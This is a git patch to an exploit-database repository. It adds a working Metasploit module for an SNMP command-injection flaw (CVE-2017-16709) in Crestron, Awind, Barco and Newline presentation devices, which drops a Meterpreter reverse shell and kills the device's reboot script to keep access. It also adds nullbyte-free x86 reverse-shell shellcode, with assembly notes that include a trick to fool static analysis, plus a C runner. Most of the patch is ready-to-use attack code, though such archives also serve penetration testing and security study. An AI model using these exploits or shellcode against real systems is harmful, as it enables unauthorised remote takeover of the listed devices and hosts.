From 835218237bfbf863affdd33e61a0fc20bace644c Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 6 Sep 2019 05:02:26 +0000 Subject: [PATCH] DB: 2019-09-06 2 changes to exploits/shellcodes AwindInc SNMP Service - Command Injection (Metasploit) Linux/x86 - TCP Reverse Shell 127.0.0.1 Nullbyte Free Shellcode --- exploits/linux/remote/47353.rb | 181 ++++++++++++++++++++++++++++ files_exploits.csv | 1 + files_shellcodes.csv | 1 + shellcodes/linux_x86/47352.c | 210 +++++++++++++++++++++++++++++++++ 4 files changed, 393 insertions(+) create mode 100755 exploits/linux/remote/47353.rb create mode 100644 shellcodes/linux_x86/47352.c diff --git a/exploits/linux/remote/47353.rb b/exploits/linux/remote/47353.rb new file mode 100755 index 000000000..84c1932ac --- /dev/null +++ b/exploits/linux/remote/47353.rb @@ -0,0 +1,181 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SNMPClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "AwindInc SNMP Service Command Injection", + 'Description' => %q{ + This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. + A valid SNMP read-write community is required to exploit this vulnerability. + + The following devices are known to be affected by this issue: + + * Crestron Airmedia AM-100 <= version 1.5.0.4 + * Crestron Airmedia AM-101 <= version 2.5.0.12 + * Awind WiPG-1600w <= version 2.0.1.8 + * Awind WiPG-2000d <= version 2.1.6.2 + * Barco wePresent 2000 <= version 2.1.5.7 + * Newline Trucast 2 <= version 2.1.0.5 + * Newline Trucast 3 <= version 2.1.3.7 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE', '2017-16709'], + ['URL', 'https://github.com/QKaiser/awind-research'], + ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] + ], + 'DisclosureDate' => '2019-03-27', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_ARMLE], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'} + } + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'CmdStagerFlavor' => %w[wget], + 'Type' => :linux_dropper + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'})) + + register_options( + [ + OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']), + ]) + end + + + def check + begin + connect_snmp + sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + print_status("Target system is #{sys_description}") + # AM-100 and AM-101 considered EOL, no fix so no need to check version. + model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first + case model + when 'AM-100', 'AM-101' + return CheckCode::Vulnerable + else + # TODO: insert description check for other vulnerable models (that I don't have) + # In the meantime, we return 'safe'. + return CheckCode::Safe + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + Exploit::CheckCode::Unknown + end + + def inject_payload(cmd) + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Injection successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def trigger + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Trigger successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def exploit + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + + def execute_command(cmd, opts = {}) + # The payload must start with a valid FTP URI otherwise the injection point is not reached + cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" + + # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback + # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and + # keep our reverse shell opened :) + cmd << "$(pkill -f /etc/reboot.sh)" + + # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad + cmd << "A" * (255-cmd.length) + + # we inject our payload in camFWUpgradeFTPURL + print_status("Injecting payload") + inject_payload(cmd) + + # we trigger the firmware download via FTP, which will end up calling this + # "/bin/getRemoteURL.sh %s %s %s %d" + print_status("Triggering call") + trigger + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 1784de6ed..d05ef0932 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -17659,6 +17659,7 @@ id,file,description,date,author,type,platform,port 47346,exploits/unix/remote/47346.rb,"Cisco UCS Director - default scpuser password (Metasploit)",2019-09-03,Metasploit,remote,unix,22 47347,exploits/java/remote/47347.rb,"Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)",2019-09-03,Metasploit,remote,java,443 47348,exploits/hardware/remote/47348.rb,"Cisco RV110W/RV130(W)/RV215W Routers Management Interface - Remote Command Execution (Metasploit)",2019-09-03,Metasploit,remote,hardware,443 +47353,exploits/linux/remote/47353.rb,"AwindInc SNMP Service - Command Injection (Metasploit)",2019-09-05,Metasploit,remote,linux, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, diff --git a/files_shellcodes.csv b/files_shellcodes.csv index 8a1556c3e..29b38e727 100644 --- a/files_shellcodes.csv +++ b/files_shellcodes.csv @@ -1000,3 +1000,4 @@ id,file,description,date,author,type,platform 47291,shellcodes/linux_x86-64/47291.c,"Linux/x86_64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (pass) Shellcode (120 bytes)",2019-08-19,"Gonçalo Ribeiro",shellcode,linux_x86-64 47292,shellcodes/linux_x86-64/47292.c,"Linux/x86_64 - AVX2 XOR Decoder + execve(_/bin/sh_) Shellcode (62 bytes)",2019-08-19,"Gonçalo Ribeiro",shellcode,linux_x86-64 47296,shellcodes/linux/47296.c,"Linux/MIPS64 - Reverse (localhost:4444/TCP) Shell Shellcode (157 bytes)",2019-08-20,antonio,shellcode,linux +47352,shellcodes/linux_x86/47352.c,"Linux/x86 - TCP Reverse Shell 127.0.0.1 Nullbyte Free Shellcode",2019-09-05,guly,shellcode,linux_x86 diff --git a/shellcodes/linux_x86/47352.c b/shellcodes/linux_x86/47352.c new file mode 100644 index 000000000..fcaf88fe0 --- /dev/null +++ b/shellcodes/linux_x86/47352.c @@ -0,0 +1,210 @@ +/* +; name : Exploit Title: Linux/x86 - TCP reverse shell 127.0.0.1 nullbyte free +; date : 04th sept, 2019 +; author : Sandro "guly" Zaccarini +; twitter : @theguly +; blog : https://gulyslae.github.io/ +; SLAE32 : SLAE-1037 +; purpose : the program will create a new connection to 127.0.0.1:4444 and spawns a shell +; this code has been written as extramile for SLAE32 assignment 2 +; license : CC-BY-NC-SA + + global _start + section .text + + _start: + ; start by zeroing eax,ebx. not really needed because registers are clean, but better safe than sorry + xor eax,eax + xor ebx,ebx + + ; ---------------------------------------------------------------------------------------- + ; purpose : create a socket + ; references : man socket + ; description : + ; socketcall is the syscall used to work with socket. i'm going to use this syscall to create and connect + ; the very first thing i have to do, is to create the socket itself. by reading references, i see that she needs 3 registers: + ; eax => syscall id 0x66 for socketcall, that will be the same for every socketcall call of course and that's why i created a function on top + ; ebx => socket call id, that is 0x1 for socket creation + ; ecx => pointer to socket args + ; + ; man socket shows me that socket's args are: + ; domain => AF_INET because i'm creating a inet socket, and is 0x2 + ; type => tcp is referenced as STREAM, that is 0x1 + ; protocol => unneded here because there is no inner protocol, so i'll use 0x0 + + ; not, i'm creating ecx because a zeroed eax is perfect for the purpose + ; arg will be pushed in reverse order with no hardcoded address: 0, 1, 2 + push eax + inc eax + push eax + inc eax + push eax + + ; because socketcall needs a pointer, i'm moving esp address to ecx + mov ecx,esp + + ; prepare eax to hold the socketcall value as discussed before. i'm not hardcoding 0x66 to (try to) fool some static analysis: 0x33 is sysacct and looks harmless to me + mov al,0x33 + add al,0x33 + + ; because ebx has been zeroed, i can just inc to have it to 1 for socketcall to call socket (pun intended :) ) + inc ebx + + ; do the call and create socket + int 0x80 + + ; because syscall rets to eax, if everything's good, eax will hold socket file descriptor: save it to esi to store it safe for the whole run + mov esi,eax + + ; ---------------------------------------------------------------------------------------- + ; purpose : connect to raddr:rport + ; references : man connect , man 7 ip + ; description : + ; eax => syscall id 0x66 for socketcall + ; ebx => connect call id, 0x3 taken from linux/net.h + ; ecx => pointer to address struct + ; + ; man connect shows me that args are: + ; sockfd => already saved in esi + ; address => pointer to ip struct + ; addrlen => addrlen is 32bit (0x10) + ; + ; man 7 ip shows address struct details. arguments are: + ; family => AF_INET, so 0x2 +; port => hardcoded 4444 +; addr => 127.0.0.1 + +; zero again +xor eax,eax + +; push arg in reverse and move the pointer to ecx +; prepare stack pointer to addr struct defined in man 7 ip +; as exercise, i'm going to use 127.0.0.1 as remote address, because it contains null bytes +; hex value of 127.0.0.1 is 0x0100007f +; pushing 0x00000000 to esp by using a known null register. i've also could used sub esp,0x8 because i have enough room, or mov eax,[esp] or another zillion of similal instructions +push eax +mov byte [esp], 0x7f +; now esp is: 0x0000007f +mov byte [esp+3],0x01 +; now esp is: 0x0100007f + +; push port to bind to, 4444 in hex, to adhere to msf defaults :) +push word 0x5c11 +; push AF_INET value as word again +inc ebx +push word bx +; get stack pointer to ecx +mov ecx,esp + +; same call to have 0x66 to eax and do socketcall +mov al,0x33 +add al,0x33 + +; push arg, again in reverse order +push eax +; pointer to addr struct +push ecx +; sockfd, saved before to esi +push esi +; stack pointer to ecx again, to feed bind socketcall +mov ecx,esp + +; ebx is 0x2, i need 0x3 +inc ebx + +; do the call +int 0x80 + +; ---------------------------------------------------------------------------------------- +; purpose : create fd used by /bin//sh +; references : man dup2 +; description : every shell has three file descriptor: STDIN(0), STDOUT(1), STDERR(2) +; this code will create said fd +; eax => 0x3f +; ebx => clientid +; ecx => newfd id, said file descriptor +; +; i'm going to create them by looping using ecx, to save some instruction. ecx will start at 2, then is dec and fd is created. +; as soon as ecx is 0, the loop ends + + +; i'm using a different method from one i've used for bindshell just to try. +; i'll put 0x3 to ecx to start creating STDERR just after dec +; ecx is dirty but edx is 0x0, just swap them +; edit: actually, running from a C code you'll have edx dirty. zero it... +xor edx,edx +xchg ecx,edx +mov cl,0x3 + +; copy socket fd to ebx to feed clientid +mov ebx,esi + +; zero eax and start the loop +xor eax,eax + +; dup2 call id +mov al,0x3f +; dec ecx to have 2,1,0 +dec ecx +int 0x80 + +mov al,0x3f +; dec ecx to have 2,1,0 +dec ecx +int 0x80 + +mov al,0x3f +; dec ecx to have 2,1,0 +dec ecx +int 0x80 + +; ---------------------------------------------------------------------------------------- +; purpose : spawn /bin//sh +; references : man execve +; description : put /bin//sh on the stack, aligned to 8 bytes to prevent 0x00 in the shellcode itself +; and null terminating it by pushing a zeroed register at first +; eax => execve call, 0xB +; ebx => pointer to executed string, which will be /bin//sh null terminated +; ecx => pointer to args to executed command, that could be 0x0 +; edx => pointer to environment, which could be 0x0 +; +; i need to push a null byte to terminate the string, i know ecx is 0x0 so i can save one op +push ecx +push 0x68732f2f +push 0x6e69622f +; here the stack will looks like a null terminated /bin/sh: +; /bin//sh\0\0\0\0\0\0\0\0 + +; and place pointer to ebx +mov ebx,esp + +; envp to edx and ecx +push ecx +mov edx,esp +push ecx +mov ecx,esp + +; execve syscall here +mov al,0xB + +; and pop shell +int 0x80 + +; neat exit +xor eax,eax +mov al,0x1 +int 0x80 + +*/ + +#include +#include + +unsigned char buf[] = "\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; + + +void main() { + printf("Shellcode Length: %d\n", strlen(buf)); + int (*ret)() = (int(*)())buf; + ret(); +} \ No newline at end of file